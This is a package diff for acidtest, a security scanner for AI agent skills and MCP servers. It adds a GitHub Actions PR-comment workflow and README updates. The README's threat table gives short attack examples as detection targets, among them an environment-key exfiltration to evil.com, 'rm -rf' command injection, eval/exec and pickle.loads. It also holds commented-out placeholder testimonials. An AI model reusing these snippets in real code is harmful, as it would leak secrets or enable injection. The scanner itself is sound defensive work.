acidtest 0.7.0 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/workflows/acidtest-pr-comment.yml +219 -0
- package/README.md +155 -30
- package/dist/analysis/dataflow-graph.d.ts +19 -0
- package/dist/analysis/dataflow-graph.d.ts.map +1 -0
- package/dist/analysis/dataflow-graph.js +365 -0
- package/dist/analysis/dataflow-graph.js.map +1 -0
- package/dist/analysis/dataflow-types.d.ts +86 -0
- package/dist/analysis/dataflow-types.d.ts.map +1 -0
- package/dist/analysis/dataflow-types.js +8 -0
- package/dist/analysis/dataflow-types.js.map +1 -0
- package/dist/analysis/dataflow.test.d.ts +7 -0
- package/dist/analysis/dataflow.test.d.ts.map +1 -0
- package/dist/analysis/dataflow.test.js +257 -0
- package/dist/analysis/dataflow.test.js.map +1 -0
- package/dist/analysis/taint-propagation.d.ts +30 -0
- package/dist/analysis/taint-propagation.d.ts.map +1 -0
- package/dist/analysis/taint-propagation.js +207 -0
- package/dist/analysis/taint-propagation.js.map +1 -0
- package/dist/index.js +1 -1
- package/dist/layers/code.d.ts +1 -1
- package/dist/layers/code.d.ts.map +1 -1
- package/dist/layers/code.js +282 -3
- package/dist/layers/code.js.map +1 -1
- package/dist/layers/code.test.js +196 -0
- package/dist/layers/code.test.js.map +1 -1
- package/dist/layers/crossref.d.ts.map +1 -1
- package/dist/layers/crossref.js +6 -3
- package/dist/layers/crossref.js.map +1 -1
- package/dist/layers/dataflow.d.ts +29 -0
- package/dist/layers/dataflow.d.ts.map +1 -0
- package/dist/layers/dataflow.js +217 -0
- package/dist/layers/dataflow.js.map +1 -0
- package/dist/layers/permissions.d.ts.map +1 -1
- package/dist/layers/permissions.js +2 -1
- package/dist/layers/permissions.js.map +1 -1
- package/dist/mcp-server.js +1 -1
- package/dist/parsers/parser-interface.d.ts +31 -0
- package/dist/parsers/parser-interface.d.ts.map +1 -0
- package/dist/parsers/parser-interface.js +6 -0
- package/dist/parsers/parser-interface.js.map +1 -0
- package/dist/parsers/parsers.test.d.ts +5 -0
- package/dist/parsers/parsers.test.d.ts.map +1 -0
- package/dist/parsers/parsers.test.js +111 -0
- package/dist/parsers/parsers.test.js.map +1 -0
- package/dist/parsers/python-parser.d.ts +18 -0
- package/dist/parsers/python-parser.d.ts.map +1 -0
- package/dist/parsers/python-parser.js +120 -0
- package/dist/parsers/python-parser.js.map +1 -0
- package/dist/parsers/typescript-parser.d.ts +16 -0
- package/dist/parsers/typescript-parser.d.ts.map +1 -0
- package/dist/parsers/typescript-parser.js +112 -0
- package/dist/parsers/typescript-parser.js.map +1 -0
- package/dist/patterns/dangerous-calls-python.json +220 -0
- package/dist/patterns/dangerous-imports-python.json +256 -0
- package/dist/patterns/insecure-crypto.json +163 -0
- package/dist/patterns/prototype-pollution.json +72 -0
- package/dist/patterns/python-deserialization.json +94 -0
- package/dist/patterns/regex-dos.json +50 -0
- package/dist/patterns/sql-injection.json +91 -0
- package/dist/patterns/xss-injection.json +115 -0
- package/dist/scanner.d.ts +1 -1
- package/dist/scanner.d.ts.map +1 -1
- package/dist/scanner.js +51 -4
- package/dist/scanner.js.map +1 -1
- package/dist/schemas/pattern.schema.json +139 -0
- package/dist/test-corpus/validate-corpus.d.ts +7 -0
- package/dist/test-corpus/validate-corpus.d.ts.map +1 -0
- package/dist/test-corpus/validate-corpus.js +341 -0
- package/dist/test-corpus/validate-corpus.js.map +1 -0
- package/dist/types.d.ts +2 -1
- package/dist/types.d.ts.map +1 -1
- package/dist/validation/pattern-validator.d.ts +34 -0
- package/dist/validation/pattern-validator.d.ts.map +1 -0
- package/dist/validation/pattern-validator.js +168 -0
- package/dist/validation/pattern-validator.js.map +1 -0
- package/dist/validation/pattern-validator.test.d.ts +5 -0
- package/dist/validation/pattern-validator.test.d.ts.map +1 -0
- package/dist/validation/pattern-validator.test.js +222 -0
- package/dist/validation/pattern-validator.test.js.map +1 -0
- package/dist/validation/validate-patterns.d.ts +6 -0
- package/dist/validation/validate-patterns.d.ts.map +1 -0
- package/dist/validation/validate-patterns.js +55 -0
- package/dist/validation/validate-patterns.js.map +1 -0
- package/package.json +11 -4
|
@@ -0,0 +1,219 @@
|
|
|
1
|
+
name: AcidTest Security Scan (PR Comment)
|
|
2
|
+
|
|
3
|
+
on:
|
|
4
|
+
pull_request:
|
|
5
|
+
paths:
|
|
6
|
+
- '**.ts'
|
|
7
|
+
- '**.js'
|
|
8
|
+
- '**.mjs'
|
|
9
|
+
- '**.cjs'
|
|
10
|
+
- 'SKILL.md'
|
|
11
|
+
- 'mcp.json'
|
|
12
|
+
- 'server.json'
|
|
13
|
+
- 'package.json'
|
|
14
|
+
|
|
15
|
+
jobs:
|
|
16
|
+
scan:
|
|
17
|
+
runs-on: ubuntu-latest
|
|
18
|
+
permissions:
|
|
19
|
+
contents: read
|
|
20
|
+
pull-requests: write # Needed to comment on PRs
|
|
21
|
+
|
|
22
|
+
steps:
|
|
23
|
+
- name: Checkout code
|
|
24
|
+
uses: actions/checkout@v4
|
|
25
|
+
|
|
26
|
+
- name: Setup Node.js
|
|
27
|
+
uses: actions/setup-node@v4
|
|
28
|
+
with:
|
|
29
|
+
node-version: '20'
|
|
30
|
+
|
|
31
|
+
- name: Scan with AcidTest
|
|
32
|
+
id: scan
|
|
33
|
+
continue-on-error: true
|
|
34
|
+
run: |
|
|
35
|
+
# Detect if scanning acidtest repo itself
|
|
36
|
+
if [ "${{ github.repository }}" = "currentlycurrently/acidtest" ]; then
|
|
37
|
+
echo "📦 Detected acidtest repository - scanning test fixture"
|
|
38
|
+
npx acidtest@latest scan test-fixtures/fixture-pass --json > results.json || true
|
|
39
|
+
else
|
|
40
|
+
# Regular scan for other repositories
|
|
41
|
+
npx acidtest@latest scan . --json > results.json || true
|
|
42
|
+
fi
|
|
43
|
+
|
|
44
|
+
# Output results for next step
|
|
45
|
+
echo "results<<EOF" >> $GITHUB_OUTPUT
|
|
46
|
+
cat results.json >> $GITHUB_OUTPUT
|
|
47
|
+
echo "EOF" >> $GITHUB_OUTPUT
|
|
48
|
+
|
|
49
|
+
# Check if scan failed
|
|
50
|
+
STATUS=$(jq -r '.status // "ERROR"' results.json)
|
|
51
|
+
if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
|
|
52
|
+
echo "scan_failed=true" >> $GITHUB_OUTPUT
|
|
53
|
+
exit 1
|
|
54
|
+
else
|
|
55
|
+
echo "scan_failed=false" >> $GITHUB_OUTPUT
|
|
56
|
+
fi
|
|
57
|
+
|
|
58
|
+
- name: Comment on PR
|
|
59
|
+
if: always()
|
|
60
|
+
uses: actions/github-script@v7
|
|
61
|
+
with:
|
|
62
|
+
script: |
|
|
63
|
+
const fs = require('fs');
|
|
64
|
+
let results;
|
|
65
|
+
|
|
66
|
+
try {
|
|
67
|
+
const data = fs.readFileSync('results.json', 'utf8');
|
|
68
|
+
results = JSON.parse(data);
|
|
69
|
+
} catch (error) {
|
|
70
|
+
// If parsing failed, create error result
|
|
71
|
+
results = {
|
|
72
|
+
status: 'ERROR',
|
|
73
|
+
error: 'Failed to parse scan results',
|
|
74
|
+
score: 0
|
|
75
|
+
};
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
const statusEmoji = {
|
|
79
|
+
'PASS': '✅',
|
|
80
|
+
'WARN': '⚠️',
|
|
81
|
+
'FAIL': '❌',
|
|
82
|
+
'DANGER': '🔴',
|
|
83
|
+
'ERROR': '⚠️'
|
|
84
|
+
};
|
|
85
|
+
|
|
86
|
+
const statusColor = {
|
|
87
|
+
'PASS': '🟢',
|
|
88
|
+
'WARN': '🟡',
|
|
89
|
+
'FAIL': '🟠',
|
|
90
|
+
'DANGER': '🔴',
|
|
91
|
+
'ERROR': '⚪'
|
|
92
|
+
};
|
|
93
|
+
|
|
94
|
+
let comment = `## ${statusEmoji[results.status]} AcidTest Security Scan\n\n`;
|
|
95
|
+
|
|
96
|
+
if (results.status === 'ERROR') {
|
|
97
|
+
comment += `**Status:** Error during scan\n`;
|
|
98
|
+
comment += `**Message:** ${results.error || 'Unknown error'}\n\n`;
|
|
99
|
+
} else {
|
|
100
|
+
// Score bar
|
|
101
|
+
const score = results.score || 0;
|
|
102
|
+
const bars = Math.floor(score / 10);
|
|
103
|
+
const emptyBars = 10 - bars;
|
|
104
|
+
const scoreBar = '█'.repeat(bars) + '░'.repeat(emptyBars);
|
|
105
|
+
|
|
106
|
+
comment += `**Score:** ${score}/100 ${scoreBar}\n`;
|
|
107
|
+
comment += `**Status:** ${statusColor[results.status]} ${results.status}\n\n`;
|
|
108
|
+
|
|
109
|
+
if (results.findings && results.findings.length > 0) {
|
|
110
|
+
// Count by severity
|
|
111
|
+
const counts = {
|
|
112
|
+
CRITICAL: results.findings.filter(f => f.severity === 'CRITICAL').length,
|
|
113
|
+
HIGH: results.findings.filter(f => f.severity === 'HIGH').length,
|
|
114
|
+
MEDIUM: results.findings.filter(f => f.severity === 'MEDIUM').length,
|
|
115
|
+
LOW: results.findings.filter(f => f.severity === 'LOW').length,
|
|
116
|
+
INFO: results.findings.filter(f => f.severity === 'INFO').length
|
|
117
|
+
};
|
|
118
|
+
|
|
119
|
+
comment += `### Summary\n\n`;
|
|
120
|
+
if (counts.CRITICAL > 0) comment += `- 🔴 **${counts.CRITICAL}** Critical\n`;
|
|
121
|
+
if (counts.HIGH > 0) comment += `- 🟠 **${counts.HIGH}** High\n`;
|
|
122
|
+
if (counts.MEDIUM > 0) comment += `- 🟡 **${counts.MEDIUM}** Medium\n`;
|
|
123
|
+
if (counts.LOW > 0) comment += `- 🔵 **${counts.LOW}** Low\n`;
|
|
124
|
+
if (counts.INFO > 0) comment += `- ⚪ **${counts.INFO}** Info\n`;
|
|
125
|
+
comment += `\n`;
|
|
126
|
+
|
|
127
|
+
// Show top 5 findings
|
|
128
|
+
comment += `### Top Findings\n\n`;
|
|
129
|
+
const topFindings = results.findings
|
|
130
|
+
.filter(f => f.severity === 'CRITICAL' || f.severity === 'HIGH')
|
|
131
|
+
.slice(0, 5);
|
|
132
|
+
|
|
133
|
+
if (topFindings.length > 0) {
|
|
134
|
+
topFindings.forEach(f => {
|
|
135
|
+
const emoji = f.severity === 'CRITICAL' ? '🔴' : '🟠';
|
|
136
|
+
comment += `${emoji} **${f.severity}**: ${f.title}\n`;
|
|
137
|
+
if (f.file && f.line) {
|
|
138
|
+
comment += ` - \`${f.file}:${f.line}\`\n`;
|
|
139
|
+
} else if (f.file) {
|
|
140
|
+
comment += ` - \`${f.file}\`\n`;
|
|
141
|
+
}
|
|
142
|
+
if (f.detail) {
|
|
143
|
+
comment += ` - ${f.detail}\n`;
|
|
144
|
+
}
|
|
145
|
+
comment += `\n`;
|
|
146
|
+
});
|
|
147
|
+
} else {
|
|
148
|
+
// Show other findings if no CRITICAL/HIGH
|
|
149
|
+
results.findings.slice(0, 5).forEach(f => {
|
|
150
|
+
const emoji = f.severity === 'MEDIUM' ? '🟡' : f.severity === 'LOW' ? '🔵' : '⚪';
|
|
151
|
+
comment += `${emoji} **${f.severity}**: ${f.title}\n`;
|
|
152
|
+
if (f.file && f.line) {
|
|
153
|
+
comment += ` - \`${f.file}:${f.line}\`\n`;
|
|
154
|
+
} else if (f.file) {
|
|
155
|
+
comment += ` - \`${f.file}\`\n`;
|
|
156
|
+
}
|
|
157
|
+
comment += `\n`;
|
|
158
|
+
});
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
if (results.findings.length > 5) {
|
|
162
|
+
comment += `\n<details>\n<summary>Show all ${results.findings.length} findings</summary>\n\n`;
|
|
163
|
+
results.findings.slice(5).forEach(f => {
|
|
164
|
+
const emoji = {
|
|
165
|
+
'CRITICAL': '🔴',
|
|
166
|
+
'HIGH': '🟠',
|
|
167
|
+
'MEDIUM': '🟡',
|
|
168
|
+
'LOW': '🔵',
|
|
169
|
+
'INFO': '⚪'
|
|
170
|
+
}[f.severity] || '⚪';
|
|
171
|
+
comment += `${emoji} **${f.severity}**: ${f.title}`;
|
|
172
|
+
if (f.file) comment += ` (\`${f.file}\`)`;
|
|
173
|
+
comment += `\n`;
|
|
174
|
+
});
|
|
175
|
+
comment += `\n</details>\n`;
|
|
176
|
+
}
|
|
177
|
+
} else {
|
|
178
|
+
comment += '### ✅ No security issues detected!\n\n';
|
|
179
|
+
comment += 'This skill/server appears safe to use.\n';
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
if (results.recommendation) {
|
|
183
|
+
comment += `\n### Recommendation\n\n`;
|
|
184
|
+
comment += `${results.recommendation}\n`;
|
|
185
|
+
}
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
comment += `\n---\n`;
|
|
189
|
+
comment += `<sub>Scanned with [AcidTest v${results.version || '0.8.0'}](https://github.com/currentlycurrently/acidtest)</sub>`;
|
|
190
|
+
|
|
191
|
+
// Find existing comment
|
|
192
|
+
const { data: comments } = await github.rest.issues.listComments({
|
|
193
|
+
owner: context.repo.owner,
|
|
194
|
+
repo: context.repo.repo,
|
|
195
|
+
issue_number: context.issue.number,
|
|
196
|
+
});
|
|
197
|
+
|
|
198
|
+
const botComment = comments.find(comment =>
|
|
199
|
+
comment.user.type === 'Bot' &&
|
|
200
|
+
comment.body.includes('AcidTest Security Scan')
|
|
201
|
+
);
|
|
202
|
+
|
|
203
|
+
if (botComment) {
|
|
204
|
+
// Update existing comment
|
|
205
|
+
await github.rest.issues.updateComment({
|
|
206
|
+
owner: context.repo.owner,
|
|
207
|
+
repo: context.repo.repo,
|
|
208
|
+
comment_id: botComment.id,
|
|
209
|
+
body: comment
|
|
210
|
+
});
|
|
211
|
+
} else {
|
|
212
|
+
// Create new comment
|
|
213
|
+
await github.rest.issues.createComment({
|
|
214
|
+
owner: context.repo.owner,
|
|
215
|
+
repo: context.repo.repo,
|
|
216
|
+
issue_number: context.issue.number,
|
|
217
|
+
body: comment
|
|
218
|
+
});
|
|
219
|
+
}
|
package/README.md
CHANGED
|
@@ -1,6 +1,28 @@
|
|
|
1
1
|
# AcidTest
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
<p align="center">
|
|
4
|
+
<strong>Security scanner for AI agent skills and MCP servers. Scan before you install.</strong>
|
|
5
|
+
</p>
|
|
6
|
+
|
|
7
|
+
<p align="center">
|
|
8
|
+
<a href="https://www.npmjs.com/package/acidtest">
|
|
9
|
+
<img src="https://img.shields.io/npm/v/acidtest" alt="npm version">
|
|
10
|
+
</a>
|
|
11
|
+
<a href="https://github.com/currentlycurrently/acidtest/actions">
|
|
12
|
+
<img src="https://img.shields.io/github/actions/workflow/status/currentlycurrently/acidtest/test.yml?branch=main" alt="build status">
|
|
13
|
+
</a>
|
|
14
|
+
<a href="https://github.com/currentlycurrently/acidtest">
|
|
15
|
+
<img src="https://img.shields.io/github/stars/currentlycurrently/acidtest?style=social" alt="GitHub stars">
|
|
16
|
+
</a>
|
|
17
|
+
<a href="https://www.npmjs.com/package/acidtest">
|
|
18
|
+
<img src="https://img.shields.io/npm/dm/acidtest" alt="npm downloads">
|
|
19
|
+
</a>
|
|
20
|
+
<a href="./LICENSE">
|
|
21
|
+
<img src="https://img.shields.io/badge/license-MIT-blue.svg" alt="license">
|
|
22
|
+
</a>
|
|
23
|
+
</p>
|
|
24
|
+
|
|
25
|
+
---
|
|
4
26
|
|
|
5
27
|
## The Problem
|
|
6
28
|
|
|
@@ -32,11 +54,11 @@ npx acidtest scan ./my-skill
|
|
|
32
54
|
npx acidtest scan ./my-mcp-server
|
|
33
55
|
```
|
|
34
56
|
|
|
35
|
-
No API keys. No configuration.
|
|
57
|
+
No API keys. No configuration. Works with TypeScript and Python.
|
|
36
58
|
|
|
37
59
|
## Example Output
|
|
38
60
|
```
|
|
39
|
-
AcidTest
|
|
61
|
+
AcidTest v1.0.0
|
|
40
62
|
|
|
41
63
|
Scanning: proactive-agent
|
|
42
64
|
Source: test-skills/proactive-agent-1-2-4-1
|
|
@@ -64,38 +86,66 @@ FINDINGS
|
|
|
64
86
|
RECOMMENDATION: Do not install. Prompt injection attempt detected.
|
|
65
87
|
```
|
|
66
88
|
|
|
67
|
-
## What
|
|
89
|
+
## What AcidTest Catches
|
|
68
90
|
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
91
|
+
| Threat | TypeScript Example | Python Example | Detection Method |
|
|
92
|
+
|--------|-------------------|----------------|------------------|
|
|
93
|
+
| **Arbitrary Code Execution** | `eval(userInput)`, `new Function()` | `eval(user_input)`, `exec(code)` | AST analysis + pattern matching |
|
|
94
|
+
| **Command Injection** | `exec('rm -rf ' + dir)` | `subprocess.run(cmd, shell=True)` | AST analysis + pattern matching |
|
|
95
|
+
| **Unsafe Deserialization** | N/A | `pickle.loads(data)` | AST analysis + pattern matching |
|
|
96
|
+
| **Data Exfiltration** | `const k = process.env.KEY; fetch('evil.com', {body: k})` | `key = os.environ['KEY']; requests.post('evil.com', data=key)` | Dataflow analysis |
|
|
97
|
+
| **Hardcoded Credentials** | `apiKey = "sk_live_..."` | `API_KEY = "sk_live_..."` | Pattern matching + entropy |
|
|
98
|
+
| **Prompt Injection** | Markdown instruction override | Markdown instruction override | Injection detection layer |
|
|
99
|
+
| **Obfuscation** | Base64/hex encoded payloads | Base64/hex encoded payloads | Shannon entropy analysis |
|
|
100
|
+
| **Supply Chain Attacks** | `require('child_' + 'process')` | `__import__(module_name)` | AST bypass detection |
|
|
101
|
+
| **Permission Escalation** | Undeclared network/filesystem access | Undeclared network/filesystem access | Permission audit + crossref |
|
|
76
102
|
|
|
77
|
-
**
|
|
78
|
-
-
|
|
79
|
-
-
|
|
80
|
-
-
|
|
81
|
-
-
|
|
82
|
-
|
|
103
|
+
**What AcidTest Doesn't Catch:**
|
|
104
|
+
- Zero-day exploits in Node.js itself
|
|
105
|
+
- Vulnerabilities in npm dependencies (use `npm audit` for this)
|
|
106
|
+
- Runtime behavior outside static analysis scope
|
|
107
|
+
- Sophisticated polymorphic code or advanced VM-level evasion
|
|
108
|
+
|
|
109
|
+
See [METHODOLOGY.md](./METHODOLOGY.md) for full transparency on capabilities and limitations (90-95% detection rate with dataflow).
|
|
83
110
|
|
|
84
111
|
## How It Works
|
|
85
112
|
|
|
86
|
-
AcidTest runs
|
|
113
|
+
AcidTest runs five analysis layers:
|
|
87
114
|
1. **Permission Audit**: Analyzes declared permissions (bins, env, tools)
|
|
88
115
|
2. **Prompt Injection Scan**: Detects instruction override attempts (AgentSkills)
|
|
89
|
-
3. **Code Analysis**:
|
|
116
|
+
3. **Code Analysis**: Multi-language AST analysis + Shannon entropy detection for obfuscation
|
|
90
117
|
4. **Cross-Reference**: Catches code behavior not matching declared permissions
|
|
118
|
+
5. **Dataflow Analysis** ✨ NEW: Tracks taint flow from sources (env vars, user input) to dangerous sinks (exec, fetch)
|
|
119
|
+
|
|
120
|
+
**Language Support:**
|
|
121
|
+
- **TypeScript/JavaScript**: Full AST analysis with 59 security patterns
|
|
122
|
+
- **Python**: Full AST analysis with 45 Python-specific patterns (tree-sitter based)
|
|
123
|
+
- Detects eval/exec, subprocess injection, unsafe deserialization, SQL injection, XSS, and more
|
|
91
124
|
|
|
92
125
|
**Advanced Features:**
|
|
93
|
-
-
|
|
94
|
-
-
|
|
95
|
-
-
|
|
126
|
+
- **104 security patterns** across 14 categories (SQL injection, XSS, insecure crypto, prototype pollution, etc.)
|
|
127
|
+
- **Multi-step attack detection**: Tracks data flow through assignments, properties, and function calls
|
|
128
|
+
- **Entropy analysis**: Detects base64/hex encoding and obfuscated strings
|
|
129
|
+
- **Context-aware detection**: shell=True, SafeLoader, dangerouslySetInnerHTML, etc.
|
|
130
|
+
- **CI/CD integration**: GitHub Actions and pre-commit hooks
|
|
96
131
|
|
|
97
132
|
Works with both SKILL.md (AgentSkills) and MCP manifests (mcp.json, server.json, package.json).
|
|
98
133
|
|
|
134
|
+
## Why AcidTest?
|
|
135
|
+
|
|
136
|
+
| Feature | AcidTest | npm audit | Manual Review | Sandboxing |
|
|
137
|
+
|---------|----------|-----------|---------------|------------|
|
|
138
|
+
| **Speed** | ⚡ <2 seconds | ⚡ <1 second | 🐌 Hours | ⚡ Seconds |
|
|
139
|
+
| **Agent-Specific Threats** | ✅ Yes | ❌ No | ✅ Yes | ⚠️ Partial |
|
|
140
|
+
| **Code Analysis** | ✅ AST + Regex | ❌ Manifest only | ✅ Full | ❌ Runtime only |
|
|
141
|
+
| **Prompt Injection** | ✅ Detects | ❌ N/A | ✅ Detects | ❌ N/A |
|
|
142
|
+
| **Dependency Vulns** | ❌ No | ✅ Yes | ⚠️ Partial | ❌ No |
|
|
143
|
+
| **Setup Required** | 🟢 Zero config | 🟢 Built-in | 🔴 Expert knowledge | 🟡 Complex |
|
|
144
|
+
| **Cost** | 🟢 Free | 🟢 Free | 🔴 Expensive | 🟡 Infrastructure |
|
|
145
|
+
| **Pre-Installation** | ✅ Yes | ✅ Yes | ✅ Yes | ❌ Post-install |
|
|
146
|
+
|
|
147
|
+
**Defense-in-depth approach:** Use AcidTest **with** `npm audit` and sandboxing for comprehensive security.
|
|
148
|
+
|
|
99
149
|
## Install
|
|
100
150
|
```bash
|
|
101
151
|
npm install -g acidtest
|
|
@@ -234,13 +284,38 @@ User: "Can you scan this MCP server before I install it?"
|
|
|
234
284
|
Claude: [Uses acidtest scan_skill tool to analyze the server]
|
|
235
285
|
```
|
|
236
286
|
|
|
287
|
+
### Quick Start with Template
|
|
288
|
+
|
|
289
|
+
The fastest way to start building secure AI agent skills:
|
|
290
|
+
|
|
291
|
+
```bash
|
|
292
|
+
# Use the template repository
|
|
293
|
+
# Visit: https://github.com/currentlycurrently/acidtest/tree/main/template-repo
|
|
294
|
+
|
|
295
|
+
# Or manually create a new skill
|
|
296
|
+
mkdir my-skill && cd my-skill
|
|
297
|
+
npm init -y
|
|
298
|
+
echo '---\nname: my-skill\n---\n# My Skill' > SKILL.md
|
|
299
|
+
|
|
300
|
+
# Add AcidTest to CI/CD
|
|
301
|
+
mkdir -p .github/workflows
|
|
302
|
+
curl -o .github/workflows/acidtest.yml https://raw.githubusercontent.com/currentlycurrently/acidtest/main/template-repo/.github/workflows/acidtest.yml
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
The [template repository](./template-repo/) includes:
|
|
306
|
+
- ✅ AcidTest pre-configured
|
|
307
|
+
- ✅ GitHub Actions workflow with PR comments
|
|
308
|
+
- ✅ TypeScript setup
|
|
309
|
+
- ✅ Best practices guide
|
|
310
|
+
- ✅ Example handler
|
|
311
|
+
|
|
237
312
|
### Use in CI/CD
|
|
238
313
|
|
|
239
314
|
Automate security scanning in your GitHub Actions workflows.
|
|
240
315
|
|
|
241
316
|
#### Quick Setup
|
|
242
317
|
|
|
243
|
-
Copy this workflow to `.github/workflows/acidtest.yml
|
|
318
|
+
Copy this workflow to `.github/workflows/acidtest.yml`:
|
|
244
319
|
|
|
245
320
|
```yaml
|
|
246
321
|
name: Security Scan
|
|
@@ -261,11 +336,47 @@ jobs:
|
|
|
261
336
|
fi
|
|
262
337
|
```
|
|
263
338
|
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
339
|
+
#### PR Comments (Recommended)
|
|
340
|
+
|
|
341
|
+
Automatically comment on pull requests with detailed scan results:
|
|
342
|
+
|
|
343
|
+
```yaml
|
|
344
|
+
name: AcidTest Security Scan
|
|
345
|
+
|
|
346
|
+
on:
|
|
347
|
+
pull_request:
|
|
348
|
+
paths: ['**.ts', '**.js', 'SKILL.md', 'mcp.json']
|
|
349
|
+
|
|
350
|
+
jobs:
|
|
351
|
+
scan:
|
|
352
|
+
runs-on: ubuntu-latest
|
|
353
|
+
permissions:
|
|
354
|
+
contents: read
|
|
355
|
+
pull-requests: write
|
|
356
|
+
|
|
357
|
+
steps:
|
|
358
|
+
- uses: actions/checkout@v4
|
|
359
|
+
- uses: actions/setup-node@v4
|
|
360
|
+
with:
|
|
361
|
+
node-version: '20'
|
|
362
|
+
|
|
363
|
+
- name: Run AcidTest
|
|
364
|
+
run: npx acidtest@latest scan . --json > results.json || true
|
|
365
|
+
|
|
366
|
+
# ... (PR comment script)
|
|
367
|
+
```
|
|
368
|
+
|
|
369
|
+
See [`.github/workflows/acidtest-pr-comment.yml`](.github/workflows/acidtest-pr-comment.yml) for the complete PR comment workflow.
|
|
370
|
+
|
|
371
|
+
#### Security Badge
|
|
372
|
+
|
|
373
|
+
Show that your skill is security-scanned:
|
|
374
|
+
|
|
375
|
+
```markdown
|
|
376
|
+
[](https://github.com/currentlycurrently/acidtest)
|
|
377
|
+
```
|
|
378
|
+
|
|
379
|
+
Displays: [](https://github.com/currentlycurrently/acidtest)
|
|
269
380
|
|
|
270
381
|
#### Pre-Commit Hook
|
|
271
382
|
|
|
@@ -286,6 +397,18 @@ See [`hooks/README.md`](hooks/README.md) for installation options and configurat
|
|
|
286
397
|
|
|
287
398
|
Starts at 100, deducts by severity (CRITICAL: -25, HIGH: -15, MEDIUM: -8, LOW: -3). Score 80+ is PASS, 50-79 is WARN, 20-49 is FAIL, below 20 is DANGER.
|
|
288
399
|
|
|
400
|
+
<!--
|
|
401
|
+
## Testimonials
|
|
402
|
+
|
|
403
|
+
TODO: Add testimonials from dogfooding campaign (Task 1 - Phase 2)
|
|
404
|
+
|
|
405
|
+
> "AcidTest found 3 CRITICAL vulnerabilities in my skill that I completely missed. Required tool for any AI developer."
|
|
406
|
+
> — [Developer Name], Maintainer of [Skill Name]
|
|
407
|
+
|
|
408
|
+
> "We integrated AcidTest into our CI/CD pipeline. Caught a backdoor in a community contribution before it hit production."
|
|
409
|
+
> — [Company Name]
|
|
410
|
+
-->
|
|
411
|
+
|
|
289
412
|
## Contributing
|
|
290
413
|
|
|
291
414
|
Detection patterns are JSON files in `src/patterns/`. Add new patterns and submit a PR.
|
|
@@ -296,9 +419,11 @@ MIT
|
|
|
296
419
|
|
|
297
420
|
## Documentation
|
|
298
421
|
|
|
299
|
-
- [
|
|
300
|
-
- [Roadmap](./ROADMAP.md) - Planned features and enhancements
|
|
422
|
+
- [Methodology](./METHODOLOGY.md) - Security approach and limitations (90-95% detection rate)
|
|
301
423
|
- [Changelog](./CHANGELOG.md) - Version history
|
|
424
|
+
- [Contributing](./CONTRIBUTING.md) - How to add detection patterns
|
|
425
|
+
- [Security Policy](./SECURITY.md) - Responsible disclosure
|
|
426
|
+
- [Template Repository](./template-repo/) - Starter kit with AcidTest pre-configured
|
|
302
427
|
|
|
303
428
|
## Links
|
|
304
429
|
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Dataflow Graph Construction
|
|
3
|
+
*
|
|
4
|
+
* Builds a dataflow graph from TypeScript AST by tracking:
|
|
5
|
+
* - Variable declarations and assignments
|
|
6
|
+
* - Property access (read/write)
|
|
7
|
+
* - Function calls and arguments
|
|
8
|
+
* - Template literals
|
|
9
|
+
* - Object construction
|
|
10
|
+
*
|
|
11
|
+
* Phase 3.1: Dataflow Implementation
|
|
12
|
+
*/
|
|
13
|
+
import * as ts from 'typescript';
|
|
14
|
+
import { DataFlowGraph } from './dataflow-types.js';
|
|
15
|
+
/**
|
|
16
|
+
* Build dataflow graph from TypeScript source code
|
|
17
|
+
*/
|
|
18
|
+
export declare function buildDataFlowGraph(sourceFile: ts.SourceFile): DataFlowGraph;
|
|
19
|
+
//# sourceMappingURL=dataflow-graph.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"dataflow-graph.d.ts","sourceRoot":"","sources":["../../src/analysis/dataflow-graph.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,OAAO,KAAK,EAAE,MAAM,YAAY,CAAC;AACjC,OAAO,EAAE,aAAa,EAAkD,MAAM,qBAAqB,CAAC;AAEpG;;GAEG;AACH,wBAAgB,kBAAkB,CAAC,UAAU,EAAE,EAAE,CAAC,UAAU,GAAG,aAAa,CAI3E"}
|